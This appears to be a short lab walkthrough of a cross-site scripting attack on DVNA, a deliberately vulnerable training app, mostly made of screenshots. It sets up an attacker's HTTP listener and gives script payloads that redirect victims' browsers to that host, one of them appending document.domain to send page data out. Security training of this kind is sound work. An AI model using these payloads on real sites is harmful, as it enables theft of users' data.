# XSS - Sending data to remote server

**Application Used -  DVNA**

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye0BzhOXLxzaCHcPXF%2F-Lye7PotC_LWU0BvgRfP%2Fimage.png?alt=media\&token=77ec563f-d703-417c-87fc-22399d372375)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye0BzhOXLxzaCHcPXF%2F-Lye7atg7XAh52bq7TBW%2Fimage.png?alt=media\&token=3e3516d9-13da-44f1-afef-10cf2770d379)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-Lye7wpgK4kd8JjxOiDW%2Fimage.png?alt=media\&token=58ce103b-afdb-4975-a375-7d10c4e908e0)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-Lye853s6MNM_UnUhZJR%2Fimage.png?alt=media\&token=14978576-3e91-4c0a-b570-71549beef7be)

Run the python server on the kali box (attacker's machine)

```
python -m SimpleHTTPServer 8089
```

<div align="left"><img src="https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-Lye9S5h7dFi3QjJukrI%2Fimage.png?alt=media&#x26;token=5aa445ce-0ce2-4e8f-acd3-05280a097613" alt=""></div>

```
<script>document.location="http://10.0.2.12:8089/?"</script>
```

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-Lye8zdj3tblnVfycwVm%2Fimage.png?alt=media\&token=9ed67c1c-f6ab-4fdb-8fa8-de9191025fea)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-Lye9kEY-ZGAeB994eh8%2Fimage.png?alt=media\&token=401cb655-5d98-4222-bcbd-ffbc96781c34)

```
<script>document.location="http://10.0.2.12:8089/?"+document.domain</script>
```

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye0BzhOXLxzaCHcPXF%2F-Lye4dU3yAF5kBygtePR%2Fimage.png?alt=media\&token=34daf6e4-159c-4951-8b9a-b245b0830e51)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lye7hFQFAI3v0-imDcQ%2F-LyeA7gbcd4pqMV2vGLf%2Fimage.png?alt=media\&token=72814571-5c2b-47a8-b7d4-e4da63c792e8)

##